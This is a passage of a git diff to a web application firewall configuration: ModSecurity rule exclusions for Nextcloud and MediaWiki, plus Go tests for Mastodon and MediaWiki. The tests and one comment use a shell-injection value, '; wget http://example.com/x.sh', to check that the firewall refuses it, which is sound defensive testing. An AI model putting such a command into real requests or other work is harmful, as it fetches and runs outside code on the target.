|
||||||
{http.MethodPost, mastodonSignUp, passwordField},
|
{http.MethodPost, mastodonSignUp, "password="},
|
||||||
}
|
{http.MethodPost, mastodonSignUp, "reason="},
|
||||||
|
|
||||||
// mastodonPasswordJSON sends the password of signing up through the API in
|
|
||||||
// a JSON body, with %s for its value.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
|
||||||
var mastodonPasswordJSON = mastodonBodyField{
|
|
||||||
http.MethodPost, mastodonSignUp, `{"password":%s}`,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
||||||
@@ -194,6 +178,7 @@ var mastodonJSONFields = []mastodonBodyField{
|
|||||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||||
|
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
|
||||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||||
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
||||||
@@ -302,61 +287,30 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMastodonPasswordsPass(t *testing.T) {
|
// mastodonCommandAttack is a shell command that only 932230 and 932235
|
||||||
t.Parallel()
|
// refuse on the fields that skip the four rules.
|
||||||
|
const mastodonCommandAttack = "; wget http://example.com/x.sh"
|
||||||
for _, sent := range mastodonPasswordForms {
|
|
||||||
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{sent.method, sent.target, []string{formData}}
|
|
||||||
name := strings.TrimSuffix(sent.field, "=")
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, name)
|
|
||||||
|
|
||||||
// No rule these fields keep catches the SQL injection or the path
|
|
||||||
// traversal.
|
|
||||||
wantPasswordAttacksRefused(t, r, name, scriptTag)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
t.Run("JSON", func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
|
|
||||||
[]string{jsonBody}}
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, "password")
|
|
||||||
wantPasswordAttacksRefused(t, r, "password", scriptTag)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
attack := url.QueryEscape(mastodonCommandAttack)
|
||||||
|
|
||||||
for _, target := range mastodonQueryFields {
|
for _, target := range mastodonQueryFields {
|
||||||
got := inspect(t, crs, get(target+commandInjection))
|
if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold {
|
||||||
if got.Score < mastodonThreshold {
|
t.Errorf("%s%s let through: %+v", target, attack, got)
|
||||||
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
|
for _, sent := range mastodonFormFields {
|
||||||
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
if mastodonForm(t, sent, attack) < mastodonThreshold {
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
attack, err := url.QueryUnescape(commandInjection)
|
for _, sent := range mastodonJSONFields {
|
||||||
if err != nil {
|
if mastodonJSON(t, sent, mastodonCommandAttack) < mastodonThreshold {
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
|
|
||||||
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
|
|
||||||
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -375,12 +329,6 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s refused: %d", sent, score)
|
t.Errorf("%s refused: %d", sent, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range mastodonPasswordForms {
|
|
||||||
if mastodonForm(t, sent, value) >= mastodonThreshold {
|
|
||||||
t.Errorf("%v with %s refused", sent, value)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
code := url.QueryEscape(mastodonCodePost)
|
code := url.QueryEscape(mastodonCodePost)
|
||||||
@@ -549,7 +497,7 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, value := range slices.Concat(
|
for _, value := range slices.Concat(
|
||||||
refused, mastodonAttacks, []string{commandInjection},
|
refused, mastodonAttacks, []string{url.QueryEscape(mastodonCommandAttack)},
|
||||||
) {
|
) {
|
||||||
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
|
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
|
||||||
t.Errorf("username %s let through", value)
|
t.Errorf("username %s let through", value)
|
||||||
@@ -600,7 +548,8 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
|
|||||||
|
|
||||||
// The address keeps 932250 and the rules that refuse attacks.
|
// The address keeps 932250 and the rules that refuse attacks.
|
||||||
for _, value := range slices.Concat(
|
for _, value := range slices.Concat(
|
||||||
[]string{"ls%20-la"}, mastodonAttacks, []string{commandInjection},
|
[]string{"ls%20-la"}, mastodonAttacks,
|
||||||
|
[]string{url.QueryEscape(mastodonCommandAttack)},
|
||||||
) {
|
) {
|
||||||
if mastodonForm(t, sent, value) < mastodonThreshold {
|
if mastodonForm(t, sent, value) < mastodonThreshold {
|
||||||
t.Errorf("%v with %s let through", sent, value)
|
t.Errorf("%v with %s let through", sent, value)
|
||||||
|
|||||||
@@ -108,86 +108,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
||||||
|
|
||||||
# wpPassword, lgpassword and password skip each rule random passwords set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|
||||||
"id:900917,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
|
||||||
SecRule &ARGS_GET:wpPassword "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
|
|
||||||
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
|
||||||
"id:900918,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
|
|
||||||
|
|
||||||
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
||||||
# or prependtext, and the REST API in the JSON field source. Each of these
|
# or prependtext, and the REST API in the JSON field source. Each of these
|
||||||
# rules refused saving or previewing a page whose wikitext held a template, a
|
# rules refused saving or previewing a page whose wikitext held a template, a
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ package coreruleset_test
|
|||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
"slices"
|
||||||
"strings"
|
|
||||||
"testing"
|
"testing"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -50,9 +49,9 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||||
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||||
// each in the query, on a path where it skips them, ending in "=".
|
// path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var mediawikiQueryFields = []string{
|
var mediawikiQueryFields = []string{
|
||||||
@@ -137,9 +136,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|||||||
type mediawikiBodyField struct{ target, field string }
|
type mediawikiBodyField struct{ target, field string }
|
||||||
|
|
||||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||||
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
|
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||||
// each in a form data body, on a path where it skips them.
|
// a path where it skips them.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var mediawikiBodyFields = []mediawikiBodyField{
|
var mediawikiBodyFields = []mediawikiBodyField{
|
||||||
@@ -147,11 +146,13 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
|||||||
{mediawikiUpload, "wpUploadDescription="},
|
{mediawikiUpload, "wpUploadDescription="},
|
||||||
{mediawikiUpload, "wpDestFile="},
|
{mediawikiUpload, "wpDestFile="},
|
||||||
{mediawikiSignIn, "wpName="},
|
{mediawikiSignIn, "wpName="},
|
||||||
|
{mediawikiSignIn, "wpPassword="},
|
||||||
{mediawikiMove, "wpOldTitle="},
|
{mediawikiMove, "wpOldTitle="},
|
||||||
{mediawikiMove, "wpNewTitleMain="},
|
{mediawikiMove, "wpNewTitleMain="},
|
||||||
{mediawikiMove, "wpReason="},
|
{mediawikiMove, "wpReason="},
|
||||||
{mediawikiBlock, "wpTarget="},
|
{mediawikiBlock, "wpTarget="},
|
||||||
{mediawikiSignInPage, "wpName="},
|
{mediawikiSignInPage, "wpName="},
|
||||||
|
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||||
{mediawikiUploadPage, "wpDestFile="},
|
{mediawikiUploadPage, "wpDestFile="},
|
||||||
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
||||||
{mediawikiAPI, "title="},
|
{mediawikiAPI, "title="},
|
||||||
@@ -164,18 +165,9 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
|||||||
{mediawikiAPI, "reason="},
|
{mediawikiAPI, "reason="},
|
||||||
{mediawikiAPI, "user="},
|
{mediawikiAPI, "user="},
|
||||||
{mediawikiAPI, "lgname="},
|
{mediawikiAPI, "lgname="},
|
||||||
{mediawikiAPI, "username="},
|
|
||||||
}
|
|
||||||
|
|
||||||
// mediawikiPasswordFields are the passwords, which skip the four rules and the
|
|
||||||
// rules that random passwords set off. mediawikiPasswordFields sends each in a
|
|
||||||
// form data body, on a path where it skips them.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var mediawikiPasswordFields = []mediawikiBodyField{
|
|
||||||
{mediawikiSignIn, "wpPassword="},
|
|
||||||
{mediawikiAPI, "lgpassword="},
|
{mediawikiAPI, "lgpassword="},
|
||||||
{mediawikiAPI, passwordField},
|
{mediawikiAPI, "username="},
|
||||||
|
{mediawikiAPI, "password="},
|
||||||
}
|
}
|
||||||
|
|
||||||
// mediawikiReasonFields are the reasons on the admin pages, which skip only
|
// mediawikiReasonFields are the reasons on the admin pages, which skip only
|
||||||
@@ -241,25 +233,6 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMediaWikiPasswordsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, sent := range mediawikiPasswordFields {
|
|
||||||
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
||||||
name := strings.TrimSuffix(sent.field, "=")
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, name)
|
|
||||||
|
|
||||||
// No rule these fields keep catches the SQL injection or the path
|
|
||||||
// traversal.
|
|
||||||
wantPasswordAttacksRefused(t, r, name, scriptTag)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
||||||
// fields that skip the other command rules, as a query value.
|
// fields that skip the other command rules, as a query value.
|
||||||
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||||
@@ -280,8 +253,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
crs = readingBodies(t)
|
crs = readingBodies(t)
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
|
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
||||||
mediawikiPasswordFields) {
|
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||||
@@ -339,8 +311,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
||||||
mediawikiPasswordFields)
|
mediawikiWikitextFields...)
|
||||||
|
|
||||||
for _, sent := range fields {
|
for _, sent := range fields {
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|||||||
@@ -1,288 +0,0 @@
|
|||||||
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
|
|
||||||
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
|
||||||
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
|
||||||
# a document's text. Each exclusion runs with the request, before the rules it
|
|
||||||
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
|
||||||
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
|
||||||
# applies only when the query has no parameter of that name, so it matters only
|
|
||||||
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
|
|
||||||
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
|
|
||||||
#
|
|
||||||
# Four rules read a search or a name as a command or a system file:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
# Each exclusion below removes these four from its fields.
|
|
||||||
#
|
|
||||||
# A comment, a share's note and an account's status hold sentences a person
|
|
||||||
# writes. Four more rules refused ordinary sentences there:
|
|
||||||
# 932125: It is fixed; diff attached
|
|
||||||
# 932230: Run python3 or powershell; ls -la shows .htaccess
|
|
||||||
# 932235: We need more time; find the old notes first
|
|
||||||
# 932380: Tested on Windows; powershell works
|
|
||||||
# The text of a document holds such sentences too, and code blocks. Two more
|
|
||||||
# rules refused a shell script in a code block:
|
|
||||||
# 932160: #!/bin/bash
|
|
||||||
# 932370: ```bash, which starts the code block
|
|
||||||
# These fields skip the rules that refused them. So a shell command such as
|
|
||||||
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
|
||||||
# injection, path traversal and script injection are still refused there.
|
|
||||||
|
|
||||||
# The sync client and the Files app use these WebDAV methods besides those
|
|
||||||
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
|
||||||
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
|
||||||
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
|
|
||||||
# MKCOL: making a folder, and starting a chunked upload
|
|
||||||
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
|
|
||||||
# REPORT: listing favourites and comments
|
|
||||||
# SEARCH: the Files app's search
|
|
||||||
# LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
|
||||||
"id:900100,phase:1,pass,nolog,\
|
|
||||||
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
|
|
||||||
|
|
||||||
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
|
|
||||||
# which every request sends, on every path. Each request of the account
|
|
||||||
# python3 was refused.
|
|
||||||
SecAction "id:900101,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
|
|
||||||
|
|
||||||
# Signing in, in the query or the body:
|
|
||||||
# user, password: user=python3&password=Example-pass-python3
|
|
||||||
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|
||||||
"id:900102,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
|
||||||
|
|
||||||
# The password, in the body, skips each rule that random passwords set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|
||||||
"id:900119,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:password "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:password"
|
|
||||||
|
|
||||||
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
|
||||||
"id:900103,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
|
|
||||||
